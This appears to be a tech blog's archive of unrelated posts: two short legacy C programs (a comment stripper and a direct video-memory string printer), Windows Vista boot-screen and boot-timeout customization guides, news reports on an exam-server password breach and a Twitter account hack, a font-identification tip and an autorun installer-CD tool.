This program accepts any valid C Program as an input and removes the comments and blanks from it.The output is a program that has no comments and blank lines.

#include
#include
#include
#include
void main()
{
FILE *a,*b;
char fname[20],ch,tch=NULL,tch1=NULL;
int flag1=0,flag=0,count=0,count1=0,count2=0;
clrscr();
printf(”Enter the file name (.C or .TXT)\n”);
gets(fname);
a=fopen(fname,”r”);
if(a==NULL)
{
puts(”Cannot open the source file!!!”);
delay(500);
exit(1);
}
b=fopen(”target.c”,”w”);
if(b==NULL)
{
puts(”Cannot create target file!!!”);
delay(500);
exit(1);
}
while(1)
{
ch=fgetc(a);
if(ch==EOF) break;
else
{
if(ch==’\n’)
{
count1=1;
tch1=ch;
continue;
}
else if(ch==’\n’&& count1==1)
continue;
else if(ch==’/'&&count==0)
{
flag1=1;
tch=ch;
count=1;
continue;
}
else if(ch==’*'&& flag1==1)
{
flag=1;
flag1=0;
tch=NULL;
}
else if(ch==’*'&&flag==1)
{
count2=1;
count=1;
continue;
}
else if(ch==’/'&&count2==1)
{
flag=0;
count=0;
tch=NULL;
continue;
}
else if(count==1&&flag==1)
count=0;
else if(flag1==1)
flag1=0;
}
if(flag!=1)
{
if(tch>0)
fputc(tch,b);
if(tch1>0)
fputc(tch1,b);
tch1=NULL;
tch=NULL;
count=0,count1=0,count2=0;
fputc(ch,b);
flag1=0,flag=0;
}
}
puts(”DONE!! OP FILE IS \”TARGET.C\”\n”);
fcloseall();
getch();
}

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Activating the hidden Boot Screen in Vista

Customizing the Boot Screen

Every time I turn on my computer, I am forced to stare at the boring Windows boot screen. I must admit that I found the moving bars amusing at first, but after a few months I became bored and wanted something different. Changing the boot screen is not something that Microsoft made easy; however, it is still possible with a few cool hacks.

Activating the hidden boot screen

Over the several years that Windows Vista was in the planning stages and in development, many promises were made about new features and enhancements. One of those promises had to do with high-resolution boot screens. This was going to be a great feature replacing the ancient 256-color boot screen that has been with Windows since Windows 95. Over time, as development of Vista was slipping behind schedule and developers were plagued with hardware compatibility problems with the high-resolution boot screen code, the feature was pulled from the final product.

Although this feature never made it into the released version of Windows Vista, there appears to be some parts of it left in the system. This section shows you a cool trick that will enable a hidden boot screen that looks like it was part of the high-resolution feature, as shown in Figure 1-1. It is nothing super fancy or elegant, but it sure is better than the boring boot screen that Vista shipped with, which looks like it is missing the Vista logo.

                              Figure 1-1

Before we proceed, note that some users have problems with using the hidden boot screen-possibly the reason why Microsoft hid it in the first place. If you are one of those users, simply boot into Safe mode and undo the steps for enabling the boot screen. Unfortunately, it is not currently known exactly what hardware has problems with the hidden boot screen. When you are ready, follow these steps to enable this boot screen on your PC:

1. 
   
   Click the Start button, type msconfig in the Search box, and then press Enter.
   
   


2. 
   
   When the System Configuration Utility loads, click the Boot tab.
   
   


3. 
   
   Locate the No GUI boot box and select it, as shown in Figure 1-2.
   
   

                                              Figure 1-2.

 

4. Click OK and reboot your computer.

You should see the hidden boot screen after you reboot your PC. As I mentioned earlier, if you have problems with the hidden boot screen, just boot into Safe mode (hold down F8 when you boot up) and remove the check from the No GUI Boot box.

Customizing the boot screen image

The alternative boot screen that you just enabled in the preceding section is a great improvement compared to the boring moving progress bar that shows by default. However, this is still not good enough. With the help of a few cool tricks, you can create your own high-resolution, 24-bit boot screen without hacking any system files.

How is that possible? Thanks to the new language-independent operating system components in Windows Vista, some resources are stored in regional language files rather than the actual system components. This allows Microsoft to easily create a localized version of Windows Vista in any language by just creating new MUI (multilingual user interface) files that contain localized versions of bitmaps and text. Because MUI files are not digitally signed by Microsoft, you can make your own that has your own boot screen image in it, which allows you to customize the alternative boot screen to use any image you desire.

This new feature in Windows Vista provides a great enhancement and alternative to the traditional method of hacking system files as you had to do in previous versions of Windows to do things such as changing the boot screen. In addition, there is a great tool developed by Dan Smith called the Vista Boot Logo Generator that will automatically compile the boot images you select into an MUI file. This makes the overall process simple compared to trying to change boot screens, as you did in the past.

To get started, you need two images, one 800 × 600 and one 1024 × 768 image, both saved as 24-bit bitmap images. When you have those images picked out, resized, and saved, you are ready to follow these steps:

1. Visit http://www.computa.co.uk/staff/dan/?p=18 and download the latest copy of the Vista Boot Logo Generator and install it.


2. Click the Start button, type vista boot logo, and press Enter.


3. After the boot logo is downloaded, click the Browse for Images button in the 800 × 600 section and select your 800 × 600 24-bit bitmap image. Do the same for the 1024 × 768 section.


4. After you have both images selected, click File and select Save Boot Screen file as to save your MUI file. Save it to your desktop.


5. Next you need to replace the winload.exe.mui file located in c:\windows\system32\en-us with the file you just created. However, it is not as easy as a simple copy and paste because the Windows system files are protected. First, I recommend making a backup of the existing winload.exe.mui file so that you can copy it back if you have problems later. To get around the file protections, you need to take ownership of all the files in the en-us folder. Right-click the en-us folder and select Properties.


6. Select the Security tab and then click the Advanced button at the bottom of the window.


7. Select the Owner tab, and then click the Edit button.


8. Select your account from the Account list and check Replace owner on subcontainers and objects. Click OK to apply your changes.


9. Click OK to exit all the open Properties windows. You need to go back into the folder properties to change the file permissions. This time you will have more rights because you are now the folder owner. Right-click en-us and select Properties again.


10. Click the Security tab, and this time click Edit.


11. Click the Add button. Type in your username and click OK. Your account name should now appear on the Permissions list.


12. Select your account, and then select the Allow column for Full control, as shown in Figure 1-3.

                                                      Figure 1-3.

Click OK to save your changes and OK once more to close the Properties screen. You will now be able to copy the winload.exe.mui file you made and saved to your desktop to c:\windows\system32\en-us. After you copy the file and reboot, you should see your new boot screen.

If you do not see your new boot screen and instead see the progress bar, make sure that you turned on the alternative boot screen as shown in the previous section. If you have any problems with your new boot screen MUI file, you can always boot using your Windows Vista install CD into a command prompt and can copy back the old winload.exe.mui file.

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C Program To Print A String Without Using Any Output Statements

This program can be used to print a string without using any output statements such as printf,puts etc.However this program only works in 16-bit mode since it directly writes to VDU Memory


#include
#include
char str[]=”Hello Srikanth”;
char far *v=(char far *)0xb8000000;
void main()
{
int i;
for(i=0;i<14;i++)
{
*v=str[i];
v+=2;
}
getch();
}

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Modifying the Vista Operating System Boot

You can use several different tricks to shave a few more seconds off the boot time. For example, you can reduce Timeout values and slim down the system to get rid of all the extra features and services that you do not use or need. Check out the following ways to do so.

Windows Boot Manager

If you have more than one operating system installed on your computer, you’ll have to deal with the Windows Boot Manager installed by Windows Vista. By default, the Windows Boot Manager gives you 30 seconds to select an operating system before it reverts to the default operating system. The only way not to wait 30 seconds is to select the operating system you want to use right away. If you use one operating system the majority of your time, you will definitely save time if you set that operating system as the default and lower the Timeout value to 1 or 2 seconds. That way, you will not have to select an operating system every time you turn on your system or wait 30 seconds before your computer actually starts to load the operating system.

Tip

Before you make any changes to the Windows Boot Manager (WBM), it is a good idea to back it up using the Boot Configuration Data Editor (bcdedit.exe) so that you can easily revert back to an earlier version should you have any problems. At a command prompt running under an administrator account, type bcdedit /export “C:\Backup File”. This will save the WBM to a file that you can use to import using the /import flag.

Lowering OS Timeout values

As mentioned earlier, if you have multiple operating systems installed on your computer and the Windows Boot Manager is installed, the default selection timeout is often way too high. It is much better to set a lower timeout so that if you do not make a selection, it quickly reverts to the default OS, making your boot time much faster.

Changing the Timeout value is simple with the System Configuration utility. Follow the steps here to use the System Configuration utility to lower the OS Timeout value:

1. Click the Start button, type msconfig in the Search box, and press Enter.


2. When the System Configuration utility loads, click the Boot tab.


3. Locate the Timeout box and replace 30 with a much lower value. I recommend you use between 2 and 5. I use 2 because that gives me just the right amount of time to press a key on my keyboard when the Windows Boot Manager is displayed on the screen.


4. After the value has been updated, click OK to exit.

Now that the Timeout value has been updated, the Boot menu will no longer increase your system startup time. Even though this is a simple tip, it really helps a lot on systems that have multiple operating systems installed. Now let’s look at setting the default operating system on the Windows Boot Manager.

Setting the default OS

In the preceding section, I set a new Timeout value that will cut down on the amount of time that is wasted before the operating system starts to load. That works great when your primary operating system is the default; but if it is not, you must remember to press a key at the right moment on every single boot. There is a much better way to handle the situation. Just make your primary operating system the default operating system in the Windows Boot Manager. This will allow you to benefit from the lower Timeout value and speed up the overall boot time.

Setting the default operating system is a little more difficult because you need to use the command-line Boot Configuration Editor, bcdedit.exe. The Boot Configuration Editor is part of Windows Vista, but it requires an account with administrative rights to run. Even if you are logged in with an account that has administrator rights but have user account control enabled, by default the tool will not run as administrator. Follow these steps to use the Boot Configuration Editor to set the default operating system:

1. Click the Start button and navigate through All Programs and Accessories.


2. Locate the Command Prompt shortcut and right-click it to bring up the context menu.


3. Select Run as administrator from the context menu.


4. When the command prompt has loaded, you are ready to use the bcdedit.exe command. First, you need to get the ID of the operating system that you want to set as the default. To do this, type bcdedit /enum all in the open command prompt window. Scroll through the list of different entries and look for the one with the description matching “Microsoft Windows” for Windows Vista.


5. After you have found the correct entry, note its identifier. That is used in the next step.


6. While still at the command prompt, run bcdedit /default (entry identifier). For example, I ran bcdedit /default {}.

The default operating system on the Window Boot Manager is now set. The next time you reboot, your changes will be in use.

Tip

The Boot Configuration Editor is a powerful utility that you can also use to change many other settings of the Windows Boot Manager. Experiment with bcdedit.exe by running bcdedit /? from command prompt. This will show you all the other available options and flags that you can use with the Boot Configuration Editor.

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Hacker opens gaping holes in CSAT score security

As the investigation into the leak of college entrance exam results rolls on, prosecutors said yesterday that the computer server at the Korea Institute for Curriculum and Evaluation, which administers the exam, had been hacked over 200 times. Not only the test results but also the institute’s internal information was stolen.



According to prosecution and police sources, a manager at a public relations firm called Inuni Co. whose surname is Kim accessed the institute’s server over 200 times between August 2007 and December 2008.



A detention warrant was filed against Kim on charges of breaking information and network laws but it was rejected by the court.



Kim easily broke into the server. In August 2007, he accessed an employee’s e-mail account at the institute. Kim obtained the e-mail ID from a press release, and the password was the same as the ID.



Kim tried to log in to e-mail accounts of other institute employees over 50 times. One of his successes was with the account of someone in the institute’s administrative office. The employee used a password identical to the romanized spelling of his name.



One of the employee’s e-mails contained an attached file containing the passwords of five other employees at the institute. The employee temporarily managed the other employees’ e-mail access information because he dealt with changes in the institute’s server. Their passwords were identical to the last seven digits of their residential identification numbers.



In this way, Kim downloaded 16 types of internal information from the institute. Among the materials downloaded were plans to grade answer sheets from the 2009 College Scholastic Ability Test, scoring schedules and the number of students who missed the test.



“Kim could look at the Korea Institute for Curriculum and Evaluation’s internal information by accessing the e-mail of seven employees,” a prosecutor said.



Kim passed the information on to VisangEdu, a private education company. VisangEdu made the CSAT score analysis public on Dec. 9, a day before the CSAT results were announced.



Kim accessed the institute’s server four times on Dec. 10 after the institute requested a probe into this case.



As the investigation closed in on him, Kim destroyed a memo containing the IDs and passwords of the seven employees. Prosecutors plan to decide what kinds of charges they will file against Kim and a VisangEdu director whose surname is Jin this week.



source:click here

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3 Ways a Twitter Hack

Just days after popular social networking tool Twitter was hit was a phishing scam, the company is now trying to clean up a mess surrounding a separate hacking attack.

Over the weekend, some Twitter users received scam tweets, or direct messages, to visit certain sites or blogs. The URL in the message redirected users to a bogus login page in an attempt to steal login credentials for a phishing scheme. Monday, thing got worse as Twitter officials revealed several high profile accounts, such as those of Britney Spears and Barack Obama were hacked.



"It appears someone gained access to the tools Twitter uses to control its millions of accounts," explained Graham Cluley, a senior technology consultant at security firm Sophos PLC. "Internal tools used by the tech support team were compromised. It's not clear if it was an inside job, or outside hacker. Twitter does say they think it was an individual."

The hack, according to Cluley, is much more serious than the earlier phishing attack because it was compromise of the system that potentially exposed all Twitter users to the following dangers.



Fraudalent password use If you gain access to someone's Twitter account, you might be able to gain access to their password, said Cluley.

"We know that 41 percent of people admit to using the same password on every web site and account that they access," he said.

Hackers, while gaining access to something seemingly simply like a username and password to one account may very well be able to use the information to gain access to more important information, such as your bank account.

Malware Infection Twitter officials said 33 accounts had been attacked in the latest hack, including high-profile users such as Britney Spears and Barack Obama. The hackers used their temporary access to send offensive messages. CNN journalist Rick Sanchez found his account had been hacked with a message that read "i am high on crack right now might not be coming to work today."

The damage could have been much worse, said Cluley, if the hacker had decided to take a different approach.

"Imagine if instead, in the case of Britney Spears account for example, that the hacker had posted a link that said: 'Here's my new video. Click on this link.' Imagine how many people would have clicked on that and it could have pointed to malware? And Barack Obama is one of the most followed people on Twitter. If he said: 'I've just made a new speech. Check it out.' a lot of people would click on that link and get infected."



source:network world

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How To Identify Fonts Being Used In Images

Have you ever encountered problems in identifying what fonts is being used in an image? Of course fonts being used in popular movie banners can be found easily because you have the keyword but what if you found a free template and the font is not included? You either recreate the buttons with your own fonts replacing the original, or try posting in forums and hope that someone would have seen that font before and let you know what is the font name. There are so many fonts, maybe hundred of thousands fonts available on the internet and to identify an unknown font is definitely NOT an easy task!

If you need to identify a font, don’t despair. I have found 2 methods that is able to help you identify an unknown font. If it is not able to help you identify the font, it will at least help you narrow down to the closest ones.



Identifont, a free service offered to help you identify fonts by answering a series of simple questions about its appearance.

 

[ Identify Unknown Fonts with Identifont ]

 

Images can be color or black & white, and they don’t have to be very high quality (although that helps). Even a digital photograph of some lettering you like can be accepted. Accuracy of results is unprecedented by previous automatic systems. [ Identify Unknown Fonts with WhatTheFont ]

Finally, if WhatTheFont system is unable to give you a good match of the font you’re looking for, you can then submit your image to WhatTheFont Forum to have your image viewed by font geeks the world over.

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Creates Auto-Starting Installer CDs for Any Applications

Windows only: Free app Install-It puts a small auto-starting application on any removable drive that makes installing applications a double-click affair.

After downloading the Install-It package, you'll want to extract its files to somewhere you can reach, like your desktop, and open up the Install.ini file in your favorite text editor. This file is simply a list of program descriptions and the locations of their installer files. If you're creating a disc full of useful installers, just replace the default examples with your chosen verbiage for each app and the location/names of the setup files. You separate those two items with a comma, using slashes where necessary, and end each line with a semi-colon.

Here's an example Install.ini I made for a supposed Windows XP re-installation:



Copy all your installer files and Install-It's files into a CD-burning app, such as CDBurnerXP, and fire away.

Now you've got a CD that, on most computers, will pop up with a list of programs that can be installed without anyone having to guess which icon or cryptic filename means. If a computer isn't set to auto-start when it detects an autorun.inf file, though, you'll have to point the computer to install.exe—not a problem, though, if you've put each application in its own directory.

Install-It is a free download for Windows systems only.

Install-It [via The Red Ferret Journal

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